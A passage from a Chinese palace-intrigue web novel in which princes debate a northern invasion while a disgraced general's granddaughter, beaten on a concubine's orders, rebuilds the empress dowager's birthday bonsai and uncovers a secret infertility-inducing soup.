瓷片迸溅,如同她此刻破碎的理智和体面。
“**!**!她凭什么?凭什么连祥嫔都护着她?”她胸口剧烈起伏,美眸中尽是怨毒。
秀清小心翼翼地靠近,低声道:“小姐,今日之事……王爷回来,只怕……”
这句话像一盆冰水,让邓馨儿狂怒的头脑骤然冷却。
是啊,王爷!
她今日的举动,几乎是在毁王爷的前程!
乐阑珊若真**或打残,太后寿辰怎么办?王爷的怒火……
一阵后怕夹杂着更深的嫉恨涌上心头。
“这个祸害!”她跌坐在椅子上,手指无意识地绞紧帕子,声音因恐惧和愤怒而微微颤抖,“偏偏是她!只有她能做那盆景!她若做不成,王爷岂不是要受我连累?”
她忽然抓住秀清的手,力道大得惊人,眼神却有些茫然:“秀清,我是不是做错了?”
秀清不敢答话,只是担忧地看着她。
殿内只剩下邓馨儿粗重的呼吸,和满地狼藉的碎片,映照着她此刻乱如麻絮的心。
第29章 北凉进犯
大昭皇帝御书房。
阳光斜照进书房,映照出漆黑案几的沉重威压。
昭帝端坐其间,气势如山,威严森然。
在场众皇子、朝臣皆面色凝重、心存寒意。
案上摊开军报,边关急报赫然在目——北凉大军压境,边关告急,朝廷亟需决策。
裴衍稳立案前,目光如寒星凌厉。一身亲王常服下,显示了多年军旅生涯铸就的挺拔与紧绷。
他偷眼看了一下昭帝。
自己这位父皇虽然已经五十岁出头的人了,但是精神矍铄,目光永远透着一眼看穿人的犀利。
如今的昭帝端坐明堂,不怒自威。
然而其帝位并非承平而得。
昔年夺嫡,他文能压服朝堂众议,武能震慑边关群雄,于尸山血海般的皇权倾轧中杀出重围,每一步皆踏着铁与血,方登临这至尊之位。
裴衍自幼浸润于父皇的帝王之术,又追随护国公纵横沙场多年,早习惯了在朝堂机锋与沙场血色之间寻求制衡之道。
此刻御书房内,父皇那审视的目光如无声利刃,悬于头顶。
裴衍垂眸恭立,浑身每一寸筋骨都已绷紧,心绪却在危险的威压下异常昂奋——这正是他向父皇、向整个朝堂证明自己配得上更多权柄的绝佳战场。
一个完整的策略已在脑海中盘旋成形。
他想起护国公昔年用兵——从不正面强攻,而是诱敌深入、示弱设伏,以看似无章的打法将敌军引入绝地。
当年北凉边境平叛之战,国公便是佯装粮草不济、阵脚大乱,引得北凉大军倾巢而出,最终落入包围,全军覆没。
正因为曾跟随这般如狐如虎的老帅,裴衍才得以淬炼成今日之“常胜将军”。
可惜……
裴衍心中一沉,那点昂奋被骤然涌上的寒意浸透。
如此谋国谋军之人,却落得个贪墨叛国、举族流放的下场。
见众人沉默不语,昭帝犀利的目光从每个人脸上扫过:“北凉和大昭,有着渊远的历史,剪不断的关系。我朝历史上曾经派过和亲公主,边关稳定了一段。自从现在的北凉庆帝即位,两国战火不断。是时候该给北凉一些颜色看看。”
邓尚书率先开口,声音谨慎而不失分量:“陛下,太后圣辰在即,若此时兴兵,恐惊扰太后安宁。”
裴衍眼神微闪:说得冠冕堂皇,其实不过是借口。
护国公府已不在,北凉自是毫无忌惮。朝中诸臣心知肚明,却无人敢直言。
邓尚书提及太后诞辰,不要说众皇子和朝臣,连昭帝也顾虑几分。
大昭太后并非昭帝的生母,九岁那年生母早逝,是被大昭齐太后抚养成人,夺嫡齐太后功不可没。
昭帝环视了一下,目光落在了裴衍身上:“平王,朕记得,当年护国公在时,北凉使臣入京尚且规行矩步。如今国公府才倒了几年,北凉便敢陈兵边境,京畿花圃亦遭贼人毁损。平王,你告诉朕,这是巧合,还是有人觉得我大昭刀锋已钝?”
裴衍忙跪下:“是儿臣失职,有愧父皇重托,请父皇恕罪。”
在场的二皇子裴曦、三皇子裴惔和五皇子裴栾都露出了讥讽。
昭帝环视众皇子,目光如利剑扫过裴曦、裴惔、裴栾等人:“平王身为天策将军,岂能因内外事务不分,而让国门告急?”
裴曦略蹙眉,裴惔冷笑:“四弟啊,平王府无人可用,只得让一个府中罪奴主持庆典大事。如此,朝廷重任能否保全,令人质疑。”
“四弟只怕不是失职,而是无心履职吧?”裴惔鄙夷地说道,“听闻太后庆典盆景筹办,受此重任的是府上的一个贱奴,当年的护国公嫡孙女。没想到平王府竟然无人可用,只能让贱奴主持大局。”
裴衍以同样鄙夷
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的目光看着裴惔。
这位三皇子,出身不高,母亲只是个嫔位,不甚得宠,可是运气好,早早生下了裴惔。
裴惔排行靠前,自从太子倒下后,心思便活络了很多。可惜,到底母族势力不强,本人又是个按捺不住性子的人一直不得昭帝青睐。
“三哥所言有理,如今北凉进犯,四哥身为我大昭天策将军,理应担起驱逐敌寇的重任。”裴栾附和道。
裴衍没有理会裴栾。
这个五皇子,母亲虽然是妃位,母族是朝中望族。可偏偏他排行老五,太子位与他基本无缘。
裴衍很清楚,自己如今入主东宫呼声高涨,早就引起了裴栾的不满。
为什么裴衍只比自己早出生了几天,就比自己多了很多机会?
对此,裴栾一直耿耿于怀。
裴曦一直没有开口,而是面无表情地听着众人的议论,目光深邃,让人难以琢磨。
而裴诚指尖无意识地摩挲着玉扳指,目光低垂,仿佛在倾听,又仿佛神游天外。
昭帝望着几个儿子,恼火得很。
边关告急,不去讨论如何应对,反而在这里东拉西扯内斗起来。
邓尚书听不过去了:“陛下,平王治军严谨,用兵神武。之前多次与外寇征战,战功昭彰,颇有陛下的风骨。老臣以为,此次可以让平王出征,以平北凉进犯。”
对于大昭来说,邓尚书位极人臣,权柄煊赫,其一言足以定半朝风向。
于公,他是一品大员、国之柱石;于私,他乃平王岳丈、天子姻亲。
这双重身份,让他在御前的每一句奏对,都成了连昭帝也必须捻在指尖、仔细权衡的沉甸甸的砝码。
因此,每每邓尚书的话可以定得半个朝廷的调子。
连昭帝也都顾忌三分。
果然,听完邓尚书的禀奏,昭帝问道:“平王,你有何话说?”
第30章 成也邓家,败也邓家
御书房内,龙涎香混着压抑的沉默。
昭帝的手指在军报边沿轻叩,每一声都像敲在众人心上。
“父皇。”裴衍出列,声音斩钉截铁,“京城匪患毁及太后圣寿筹备,是儿臣失职。北境烽烟伤我子民、辱我国威,更是儿臣身为天策将军之耻。儿臣请旨,即日点兵赴边,必让北凉铁骑,有来无回。”
邓尚书眉峰一蹙,立刻上前:“陛下!平王殿下身负太后寿诞重责,岂可临阵易帅?寿典关乎天家体面、天下孝道,万不可半途而废!”
“尚书大人所言极是。”裴衍竟不退让,反而迎上他的目光,“正因寿典关乎国体,更应交由稳妥之人。儿臣愿举荐——”
“儿臣愿为父皇分忧!”三皇子裴惔迫不及待地踏出一步,脸上是按捺不住的喜色。
裴衍喉结微动,将那句“可交瑞王”咽了回去。
他看着裴惔那双写满贪欲的眼睛,眼前却闪过乐阑珊苍白倔强的脸——绝不能让那个已在地狱走过一遭的女子,再落入这荒唐暴戾之人手中。
一直沉默的二皇子裴曦,此时缓缓开口:“父皇,儿臣赞同邓尚书所言。平王如今忙于太后生辰庆典,中途转托他人不妥。北凉虽然形势危急,但不急于这一时一刻。儿臣以为,当下要紧的是完成庆典,以免天下人嘲笑我皇家反而不懂孝道。”
“议和?”昭帝目光一凝。
“正是。”裴曦躬身,言辞恳切,“我大昭连年征战,百姓方得喘息。太后圣寿,普天同庆,此时若起战端,烽火映红寿辰天空,恐非吉兆,亦伤太后慈心。”
五皇子裴栾及数位大臣纷纷附议。
昭帝陷入了深思。
虽然齐太后不是昭帝的生母,毕竟养育一场,他不能落个不孝之名。
裴衍一直手握重兵,如今又是万民瞩目的太子人选,让他带兵出征........
昭帝的目光在裴曦和裴衍之间徘徊着。
“父皇!”裴惔却在这要命的关口,尖声插话,“儿臣还听闻一事!那主持盆景的罪奴乐氏,与平王自幼青梅竹马,早有婚约之议!平王将此等重任私相授受,岂非因私废公?让一个罪奴沾染太后圣寿,实乃我国朝之羞!”
刹那间,御书房内落针可闻。
所有目光聚焦于裴衍。邓尚书眼底闪过一丝阴沉,裴曦垂下眼帘,裴诚则几不可察地挑了挑眉。
昭帝的声音听不出情绪:“平王,明王所言,是实?”
裴衍:“确是。那乐姑娘深谙盆景之道,其祖母乃京城盆景第一人。儿臣以为,她定能设计出天下无双之寿诞景观。”
“一个罪奴,有什么资格主持太后寿诞,真是我大昭之耻。”裴惔撇撇嘴。
邓尚书立刻顺势道:“陛下,明王所言不无道理。罪奴涉足圣寿,终是隐患。臣请陛下旨意,另择贤能接管盆景事宜,将乐氏调离,以绝后患。”
就在紧绷的寂静即将断裂时,一个清朗含笑的声音响起:
“父皇,儿臣倒有一愚见。”
裴诚出列,姿态闲雅,仿佛谈论的不是朝局,而是风月。“儿臣以为,各位皇兄都言之有理。太后寿辰不容怠慢,而北凉入侵可先柔后刚。让那乐氏负责盆景,非但不是国朝之羞,恰是我大昭之幸,是父皇与太后仁德布于天下的明证。”
邓尚书皱眉:“瑞王何出此言?”
裴诚面向昭帝,言辞清晰:“想我大昭,海纳百川,方有今日之盛。太后仁心,泽被草木;父皇圣德,教化万方。即便是一个戴罪之人,亦感念天恩,愿以微末之技为太后圣寿尽心,为朝廷效力。这岂非正说明,我朝律法虽严,却存仁恕;天威虽重,犹有生机?此等佳话若传于天下,万民将更感佩太后之慈、父皇之明。这,难道不是我煌煌大昭,应有的气度与风采么?”
一番话,娓娓道来,竟将“污点”说成了“仁政标杆”。
几个原本附和邓尚书的大臣,不禁捻须沉吟。裴惔张了张嘴,一时找不到词反驳。
“呵呵呵……”
昭帝忽然笑了起来。笑声在寂静的御书房内回荡,威严深沉,听不出是赞许还是讥讽。他目光深邃,缓缓扫过每一个儿子的脸。
“都退下吧。北凉之事,寿典之务,朕自有考量。”
没有决断,只有更浓的迷雾。
退朝之后·暗流汹涌
宫道长长,朱墙巍巍。
皇子们各自散
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去,眼神交错间尽是心照不宣的盘算。
邓尚书在宫门阴影处拦下裴衍,屏退左右,压低声音:“王爷今日,锋芒太露了。”
裴衍面色冷凝:“尚书大人是指本王请战,还是指维护乐氏?”
“都是!”邓尚书眼中精光一闪,“王爷可知,陛下为何沉吟不决?非是不信王爷能打赢北凉,而是……”他凑近半分,气息微沉,“王爷与当年的陛下,太像了。善战,敢言,得军心。陛下爱之,亦……忌之。如今王爷已掌重兵,万众瞩目,若再携大胜而归,功高震主四字,便不再是虚言了。”
裴衍心头一震,如被冰水浇透。
邓尚书叹道:“当务之急,是办好寿典,稳住圣心。至于那个乐阑珊……”他语气转冷,“可用,但不可纵。她毕竟姓乐,是陛下降旨惩处的罪奴。王爷过度维护,只会授人以柄。馨儿年纪轻,性子急,但她是您的侧妃,是邓家的女儿,她管束府中奴婢,天经地义。王爷,大局为重啊。”
裴衍看着岳父那副“全为你着想”的面孔,一股强烈的腻烦与无力涌上心头。他仿佛被一张名为“邓家”的巨网缠缚,越挣扎,捆得越紧。
就在这时,秋辞疾步而来,脸色难看至极,附耳急禀。
裴衍听完,瞳孔骤缩,脸上血色褪尽,再也顾不上邓尚书,转身便朝宫外狂奔而去。
宫门另一侧,裴诚正欲登车。
侍卫统领洛易快步近前,低语数句。
裴诚脚步微顿,嘴角勾起一抹极淡的、了然的弧度:“果然沉不住气。四哥这位侧妃,倒是帮了我们一个小忙。”
洛易心有余悸:“若非王爷早有防备,命属下及时请出祥嫔娘娘懿旨,乐姑娘此刻恐怕……”
“如她**?”裴诚轻笑,眼底却无温度,“那这局棋,岂不是少了一枚最有趣的棋子?”他抬眼,望向平王府的方向,目光悠远,“四哥什么都好,就是掣肘太多。邓家扶他上位,如今却成了拴住他的锁链。成也邓家,败也邓家……这话,你说是不是很有意思?”
洛易低头,不敢接话。
裴诚不再多言,弯腰入轿。车帘垂下,遮住了他眼中一闪而过的深沉算计。
第31章 此一时也,彼一时也
祥嫔寝宫。
药香氤氲,空气里夹杂着轻微的木屑与绸缎摩挲声。
乐阑珊被抬入殿中,肩背和腰间的伤痕仍清晰可见,狰狞交错,像一张记忆的地图,诉说着刚才的刑罚。
连祥嫔的眉头都微微一皱,太医更是眼露心惊,不停地叹息。
“乐姑娘命真大啊。”太医低声对祥嫔说,眼神里透着不敢置信的震撼。
药力渐入,乐阑珊感觉身上的疼痛像冰川般缓慢融化,她强撑着站起身,想要行礼,却被祥嫔轻轻扶住。
“奴婢多谢娘娘救命之恩。”声音沙哑,却清晰,带着一丝惊魂未定的抖动。
“乐姑娘不必言谢,救你的,原本是你自己。”祥嫔温声道,却让话语里隐隐透出考问的意味。
乐阑珊微微皱眉,迟疑地开口:“请娘娘明示,奴婢不明白。奴婢受责罚,娘娘如何得知?洛参将出现,又为何如此及时?”
祥嫔坐到她身边,手指轻抚她苍白的面庞,动作温和却带着深意:“乐姑娘,你祖父护国公功高震主,为什么最后会全府流放?”
乐阑珊咬牙,声音低沉:“祖父是被奸人陷害。”
祥嫔眼神微闪,轻声追问:“你所说的奸人,是邓家吗?”
乐阑珊微微点头:“正是。”
祥嫔静静凝视她,目光如同穿透历史的镜子:“孩子,你聪明又机敏,才艺双全,祖父护国公能文能武,是大昭的栋梁。但你们都忽略了一个事实——‘此一时也,彼一时也’。”
乐阑珊愣住,心中暗暗追问:此一时彼一时?我的价值,究竟在哪?
祥嫔轻轻叹了口气,语气柔中带锋:“换句话说,你在某些时刻的价值,决定了生死存亡。”
乐阑珊低下头,心里翻腾着无数念头,痛楚、委屈、迷茫交织在胸口,让她一时间几乎无法呼吸。
这时,宫人匆匆进来:“瑞王求见。”
乐阑珊的心微微一紧。祥嫔起身,眉眼间闪过一抹柔光,却带着未言的深意。
不多时,裴诚跟随祥嫔步入殿中。他面容清朗,神色中带着温度与沉稳。
“乐姑娘,感觉如何?伤势可重?”裴诚的语气很轻柔,里面都是关切。
乐阑珊赶忙行礼,却被祥嫔轻轻按住:“你身上受了伤,不必拘礼。”
她心中微怅,但仍低声答道:“奴婢一切安好,只是担心盆景被毁,庆典来不及补救。”
裴诚神情微动:“你不用担心,我母妃召你入宫,正是为了助你破局。”
祥嫔微笑,轻启朱唇:“乐姑娘,本宫已知你的全盘构想。既然近半盆景毁损,那就换一套方案。”
乐阑珊的瞳孔一震,随即跪下床沿:“奴婢恳请娘娘赐教。”
祥嫔微微摇头:“言重了,不过是本宫的一点想法。”
随后,她详尽地讲解了新的设计构想。
起初,乐阑珊仍心存戒备,毕竟京城乐家盆景第一,她不轻易信任他人技艺。
然而,随着思路展开,她的惊讶逐渐化为清澈的欣喜,最终,脸上浮现出发自内心的笑容。
“娘娘实在高明,奴婢心服口服。”乐阑珊在床上叩首谢恩,诚心由衷。
治疗伤势、规划新方案完毕后,她告别祥嫔和裴诚,心中涌起一股坚定:这次,她定要将盆景重建完美,让众人刮目相看。
平王府。
裴衍怒气冲冲地赶回府邸,一路心头如火。
一进府,只见邓馨儿素装跪于前院迎接他,眼神中含着泪光,却掩不住柔弱与紧张。
“馨儿,这又是何意?”裴衍声音带着怒气,却夹杂着一丝不安。
“妾身做错事,自来向王爷请罪。”邓馨儿低声道。
裴衍眉头微蹙:“错在何处?”
“一则,妾身失于管教,致使奴仆无视府规;二则,先动家法,未及等待王爷归府,实属鲁莽。”她声音柔弱,却透出隐忍的委屈,眼泪缓缓滑下。
裴衍心一下子软起来,伸手扶住她:“你管教仆从无可厚非,只是手段重了些,乐阑珊还要主持庆典,若有意外怎办?”
邓馨儿低声应道:“是妾身思虑不周。按府规,
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奴仆擅出府者杖责六十,但因乐姐姐心高气傲,妾身只想从轻,未料……竟……”泪水滑落,她声音哽咽。
随即转向秋辞,温婉地说道:“幸有秋副将在,才未酿成大祸。秋副将,妾身谢过了。”
秋辞赶忙回礼,却只觉一股难言的反胃感涌上心头。
如此明显的“情感操作”,连他都看得出来。
裴衍叹了口气,搂住邓馨儿:“好了,都过去了。不过,日后不可再如此鲁莽。太后庆典在即,乐阑珊绝不可出事。”
邓馨儿破涕为笑:“妾身遵命。”
顺势,她投进了裴衍的怀抱。在裴衍看不见的角度,向秀清投去一个转瞬即逝的、得意的眼神。
裴衍目光扫向府内:“乐阑珊回来了吗?”
“随洛易入宫觐见祥嫔娘娘,至今未归。”邓馨儿答道,语气中带着隐约揣测,“想必瑞王有吩咐,一时半会难回。”
裴衍眉头一皱:“瑞王有吩咐?”
邓馨儿偷偷瞥他一眼,低声道:“瑞王频繁到府,每次似乎都与乐姐姐有关。恐怕是乐姐姐新的靠山?”
“新的靠山?难道本王不是她的靠山?”裴衍怒极,手指握得“咯吱”作响。
邓馨儿连忙跪下:“王爷息怒。都是妾身言语不得当,恐王爷误解。既然是祥嫔娘娘召见,定有要事。”
裴衍凝视她片刻,怒意稍缓,却仍心生隐忧。
秋辞上前,语气压低:“王爷,乐姑娘刑伤颇重,恐在祥嫔娘娘处调养,故而延误回府。”
裴衍盯着他,刚欲发问,邓馨儿连忙插话:“只是十几杖,伤不重。”
秋辞心知此时不可多言,忍住了,心里去在责备自己:“秋辞啊秋辞,你战场上**无数,此刻却怕几句实话杀了这府里的‘规矩’!”
裴衍终于松口:“速派人进宫,接乐阑珊回府。”
秋辞领命而出,刚到府门口,瑞王府马车已停在门前。
洛易掀开车帘,小心扶着乐阑珊下车。
裴衍心头微颤,怒气与疑虑顿时交织在了一起。
第32章 只看我对你们有无价值
乐阑珊下车后,迎上了秋辞暗示的目光,心中明白了大概。
进了府门,便见裴衍阴沉着脸。
“跪下!”
乐阑珊忍住身上的伤痛,艰难地跪了下去。
裴衍:“阑珊,知道自己错在哪里了吗?”
“奴婢愚钝,心中只记得王爷的重托,一定要办好太后的寿辰。至于其他的,在太后寿辰面前都当让步。”
“没想到,你的道理还真多。本王问一句,你就噎一句。”
“奴婢句句是实。”
邓馨儿忙拉住裴衍的手:“王爷,不要怪乐姐姐,瑞王爷只是传祥嫔娘娘的懿旨,宣乐姐姐入宫。”
“真是此地无银三百两,倒是谢谢你让我知道王爷为何发怒了。”乐阑珊嘲讽地说道。
“乐姐姐,你为什么总是不相信我呢?”邓馨儿委屈地看着裴衍。
“乐阑珊,你怎么可以总是伤害馨儿?每次你有事,都是她为你求情。她这身的病,都是为你跪求几天得的,你居然还总是误会她,针对她?”裴衍斥责道。
居然会有人如此颠倒黑白,这还是自己当年认识的那个衍哥哥吗?
乐阑珊一扭脸没答复。
裴衍还要发作,邓馨儿拦住了:“衍哥哥,馨儿没事。只要衍哥哥明白馨儿的心,馨儿就不觉得委屈。”
她转向乐阑珊说道:“乐姐姐,你就认个错吧。王爷最是公平、宽容的。如果你心里有气,就出在馨儿身上好了,不要对着王爷来。”
“她敢!”裴衍一声吼。
秋辞见状忙上前道:“王爷,盆景损失惨重,是否让乐姑娘立刻着手补救事宜?”
裴衍反应了过来,仍是不甘心:“乐阑珊,你马上给本王滚回花房去料理。你失职造成了巨大的损失,所有损失从你的赏钱中扣除!”
乐阑珊给气乐了,讽刺道:“王爷最是明事理,我一个府中奴仆,大门都出不去,如何知道外面花圃被毁坏?凭什么把帐算到我头上。”
说罢,她起身往花房走去。
看着她的背影,裴衍一阵心潮翻滚。
阑珊,你就不能服个软、认个错吗?
再说,那瑞王就真的那么好吗?
而乐阑珊不仅没有服软,反而回头一句:“奴婢要修补寿辰盆景,王爷如果想庆典万无一失,最好不要过多干涉奴婢的安排和自由。”
然后又甩了邓馨儿一句话:“侧王妃如果聪慧过人,大可接手庆典事宜,不必花心思在搬弄是非、耍威风上。”
虽然背上的伤口在抽痛,但她走得极稳,一步也未踉跄。夕阳将她的影子拉得细长,仿佛一柄终于出鞘的、孤独的剑。
裴衍气得真想好好地修理一下乐阑珊,让她当了三年的罪奴,还是这么一副臭脾气。
可一想到太后寿辰将至,只能把这念头给按了回去。
邓馨儿一直注视着裴衍的表情变化,安慰道:“王爷放心,庆典不会有事的。乐姐姐乃盆景第一家出身,自然想得出办法。”
“想得出想不出,她都得有办法。”裴衍这么说着,可心里也在打鼓。
秋辞道:“王爷,时间紧迫,是否给予乐姑娘最大的自由,让她可以自由出入王府,去各处花圃安排、巡视?”
裴衍被提醒,立刻答应:“准。凡是和庆典相关所需人、钱和物,只要她提出,都答应她。”
又补充道:“不过,她出门每一时刻,你必须随侍左右,不可离开。”
“末将遵命。”
裴衍转身去了书房。
秋辞正要出府,被叫住了。
邓馨儿满脸笑容,带着秀清款款走来。
“侧王妃有何吩咐?”秋辞拱手问道。
邓馨儿轻启朱唇:“秋副将辛苦了,王爷有此心腹,是全府之幸。本侧妃聊表一点心意,请秋副将一定收下。”
说完,一个手势,秀清立刻奉上一个锦盒。打开一看,里面是白晃晃、排列整齐的银锭。
秋辞只扫了一眼,便收回了目光,双手抱拳行礼:“多谢侧王妃美意。服侍王爷乃末将职责所在,不值一提。侧王妃的心意末将愧领了,这赏赐末将断不能收。侧王妃若有何吩咐,但凡末将可以做的,定竭尽全力、肝脑涂地。”
邓馨儿的脸有些发白。
秀清忙劝道:“秋副
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将,这是侧王妃的赏赐,还是收下吧,不要辜负了侧王妃的一片苦心。”
秋辞:“末将实难受赏,还望侧王妃海涵。”
秀清还想说什么,邓馨儿拦阻道:“既然秋副将客套,我们也就不要为难他了。秋副将,还望牢记本侧妃的一片苦心,继续为王府效力。”
秋辞:“多谢侧王妃体谅,末将定当不辱使命。”
“这个秋副将,好不讲情面。”望着秋辞的离去的背影,秀清抱怨道。
邓馨儿暗中咬了咬牙,手帕被她绞得变了形。
好你的乐阑珊,没来几天,还真会收买人心,不仅王爷心思在你身上许多,连秋辞副将都偏心到你那里了。
邓馨儿心里骂道。
花房中。
乐阑珊专心伺候花草,再无心思顾及其他,连裴衍进来都没有注意到。
裴衍感到一阵莫名的心慌,仿佛有什么重要的东西,就在刚才那阵沉默中,永远地流走了.
她摆弄花草的表情,让裴衍眼前一亮。这还是当年的那个阑珊妹妹,做什么都是专注无他,一定要做到极致才可以。
既然如此,自己何必怀疑她呢?就让她安心做好寿辰的事。
裴衍转身要走,乐阑珊听到了声音,叫住了他:“王爷既然来了,何不吩咐一二?”
这一问,裴衍有些尴尬了。
乐阑珊回转身来,说道:“王爷,不管侧王妃是何心思,奴婢无暇多想。但是奴婢既然答应了王爷做好此事,就请王爷放一万个心。王爷答应放奴婢自由,奴婢又如何敢懈怠!”
“阑珊,你真的这么想离开王府吗?”
“不然呢?”
“留在王府才是你的出路,只有本王才是你的依靠。”
乐阑珊简直是哭笑不得:王爷你哪里来的自信?祥嫔娘娘说的对,我得依靠自己我自己。我能否生存下去,只看我对你们有无价值。
自己如今的价值就是在盆景上。
因此,乐阑珊很坚定地说道:“所以王爷,不必谈依靠,谈交易即可。我交出您要的盆景,您兑现承诺给我自由。除此之外,你我之间,再无其他。
第33章 莞花茎的汤
裴衍听着不开心了。
“很好,本王知道你的心思了。放心,没人会再打扰你,秋副将会全程陪伴你。你赶紧办好此差,给本王滚得远远的!”
说罢,裴衍抬腿便走。
“王爷,你改主意了?做完此差事,奴婢就可以自由了?”乐阑珊追上几步问道。
“想的美。”裴衍止步道,“三件差事,五十万两白银,一样也不能少。”
说着就走了,边走边想:真是会算计,还没有做完一件差事呢,居然就想着讨价还价。本王不会让你离开我的手掌心的。
乐阑珊狠狠地瞪了裴衍的背影一眼,暗自发誓:我一定挣足了赎身的钱,离开王府,从此你我生死不复相见。
然后,把裴衍从脑海中扔到了爪哇国,自己一心一意摆弄盆景。
裴衍回了寝殿,心中莫名地烦躁。
乐阑珊为什么这么着急要离开自己?此次太后寿宴成功,以太后和乐家的关系,说不定真能赐乐阑珊自由之身。
不行,必须要赶在众人前面,将乐阑珊纳入自己房中。
嬷嬷来报,侧王妃提着夜宵求见。
听到她来,裴衍皱了皱眉头。
“收下夜宵,说本王知道了,让她回去吧。”裴衍吩咐嬷嬷。
邓馨儿吃了闭门羹,怎么想都觉得是因为乐阑珊,王爷才这么冷落了自己,心里恨恨地。
原想再做点什么,想想乐阑珊的那番话,“侧王妃如果聪慧过人,大可接手庆典事宜,不必花心思在搬弄是非、耍威风上。”
自己如果再有所行动,那就坐实了自己搬弄是非,王爷心中自己便一落千丈了。
自家王爷要的是柔弱、懂事的女人,会服软,无是非。自己清纯的形象来之不易,不能轻易破坏掉。
再者,太后庆典实在是太重要了,关系到平王是否有机会入主东宫。
当年父亲只有三品,做了侧王妃也就罢了。如今父亲是正一品要员,太子妃可不能旁落。
这么一想,邓馨儿宽心了不少。
暂且让你乐阑珊得意一段,等太后庆典完事,再来收拾你。
回了寝殿,邓馨儿忽然感到一阵腹痛腰酸,紧接着下身便有液体流出。
原来是葵水来了。
“既然没有再用避子汤,怎么还没有怀孕?”邓馨儿有些急了,没有子嗣,就怕正妃位置旁落。
秀清安慰道:“小姐,避子汤服用了很久,药效总得有些时日才能全退呀。”
想想也对,邓馨儿便吩咐:“留神查看,王爷留宿哪个姬妾房中。”
花房。
乐阑珊按例清晨查看花草状况。
忽然发现,有个仆人在采集莞花,而且发现他很小心地把茎折下,一同放入篮子中。
乐家是盆景第一家,自然对于花草的属性很清楚。
这莞花可以治疗疥疮,可她不记得府中有人得了疥疮。如果真有,疥疮会传染,要赶紧想办法。
想到这里,乐阑珊悄悄尾随着仆人,一直跟到了厨房。
便见他悄悄地将莞花的茎撕了一点,放入正在熬制汤的砂锅中。
没多会儿,一个邓馨儿身边的丫鬟来取汤,端走的正是那个放了莞花茎的砂锅。
那莞花茎略带苦味,放入汤中可以提鲜去腥,可是却是可以造成不孕。
这邓馨儿整天哭着喊着想怀孕,怎么去喝放了莞花茎的汤?
难道是.......
乐阑珊浑身一个激灵,后背开始冒冷汗。
原本她就不想待在平王府,如今看看,更是要尽早离开为上。
她没有注意到,远处有个嬷嬷看到了她的背影,那是侧王妃那里的秦嬷嬷,邓馨儿的陪嫁嬷嬷。
“好端端的,这乐姑娘不在花房,跑到厨房来看什么?”秦嬷嬷很好奇。
因为乐阑珊最近在王府的地位特殊,秦嬷嬷没有声张,而是长了个心眼,以后要注意乐阑珊的举动。
侧王妃寝殿。
邓馨儿专心地喝着汤,表情很满足。
“王爷对小姐可真好,这滋补汤只有小姐有。”秀清一旁赞道。
“这个自然。老爷执掌半个朝堂,是王爷最硬的盟友。本侧妃对王爷一心一意,王爷岂能不善待本侧妃呢。”邓馨儿得意地回答。
刚说到这里,她的心
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“砰”地一动,眼皮跟着跳动了起来,跟着她有些慌张起来。
“这个乐阑珊真是我命中的宿星,当年在贵女坊本侧妃就在下风。如今,绝不能让她再占了上风。”
次日。
乐阑珊在秋辞的陪同下,带着人手去各处花圃巡视。
然后,到了一处歌舞坊。
见到乐阑珊一行,歌舞坊的白嬷嬷赶忙出来迎接。
“白嬷嬷,这里一切还好?”乐阑珊问道。
“姑娘放心,我这歌舞坊,在京城我们排第二,就无人敢排第一了。我这里的舞姬是全大昭国最好的。这些天加紧排练姑娘的节目,不会误事的。”
“有无人来捣乱?”
“有平王和瑞王两位王爷的府兵守护,京城哪个吃了豹子胆,敢来这里**。”
乐阑珊满意地点点头,便和秋辞一同去了后院,看众舞姬排练。
主舞的舞姬正在彩排,模样、身段、舞姿,都堪称绝色,尤其那眼神,妩媚妖艳,连乐阑珊一个女人看了都眼睛放光。
“这就是领舞的凤娇娇,大名鼎鼎的京城第一舞姬。”白嬷嬷介绍道。
“够出类拔萃。”乐阑珊满意地点点头,“这台演出,就都指着她了。”
临行的时候,乐阑珊总感觉有些不放心,便再三叮咛秋辞:“务必确保歌舞坊无意外。”
随后,乐阑珊一行又去了一家作坊,专门定制各种节日专用,比如烟花、摆设等等。
店主人一见乐阑珊,兴奋地前来招呼。
“我要的货如何了?”乐阑珊问道。
“姑娘只管放心,我这里都是最好的工匠,绝对包您万分满意。”
说着,他引领乐阑珊和秋辞去了仓库验货。
乐阑珊让店长试用了几样,心中很满意。
她认真看了一下仓库,叮咛秋辞:“仓库周边,一定要多加派人手,不可出分毫差池。”
“姑娘放心,出了意外,我提头来见。”店主人忙拍胸脯,保证道。
巡视完,乐阑珊一路无语。
秋辞注意到了她的沉默,关切地问道:“乐姑娘,是有什么地方不妥吗?
第34章 好像**静了
”好像**静了,总觉得什么地方不对劲。“
乐阑珊轻轻摇摇头。
”怕的是风雨来前的宁静。当初护国公府出事前就是这样的祥静。“
”乐姑娘不必多虑,平王已经派出了护卫和暗卫,确保花圃等处不会再遭歹人破坏。“
”怕的是看不到的暗流。想当年祖父一手提拔了邓尚书,平王也是祖父亲手培养的,结果......“
乐阑珊意识到对方是裴衍的副将,赶紧把话打住了。
秋辞明白,只是笑笑,好像什么都没有听见。
乐阑珊有点意外,自己怎么会和秋辞说这些。
她斜眼看看秋辞,年轻帅气,练武人惯有的挺拔身躯,脸上很少有表情,却透着老成。
自己好像对秋辞有一种无缘由的亲切感,会让自己不自觉地和他说出心里话。
有这样一个副将跟随左右,的确让人很安心。
再有半个月就是太后的寿辰了。
各处都了紧锣密鼓地进入了预排阶段。
乐阑珊更是脚不离地忙碌,这让她一时半会儿无暇顾及其他。
整个皇宫,乃至京城,如今第一要事便是太后的寿辰庆典。
齐太后的永安宫上下,早就”严阵以待“了。
清晨起来,齐太后便坐在暖阁里,翻看着庆典花名册。
出身显赫的齐太后,历经了两任皇帝,什么阵势都见过了,庆典对于她来说,早就没有什么新鲜感了。
不过,她还是非常看重寿辰庆典。不为别的,只因为皇帝不是她亲生的。
也是因为这个原因,历次寿辰庆典,都办得隆重而奢华。
齐太后知道,昭皇不想落人口舌,说他不孝顺太后。
特别是护国公一家被流放后,昭皇更是极其孝顺她这个养母。
今天看花名册时,一个名字顿时吸引了她的注意。
乐——阑——珊
她的眼前顿时浮现出那个开朗明快的小姑娘,跟着祖母入宫,眨着一双美艳的大眼睛。
”苏嬷嬷。“齐太后唤来自己的心腹,问道,”这个乐阑珊可是那护国公的嫡孙女?“
”正是,当年京城第一贵女、才女,也是大昭国第一美女。“
”哀家记得她入了杂役司,后来是平王求情,她才得以脱离了杂役司。“
”太后记得不错,若非平王,无人可以活着出杂役司。“
齐太后沉默了,好像想起了什么。
苏嬷嬷知道,齐太后这是在思念护国公夫人了。
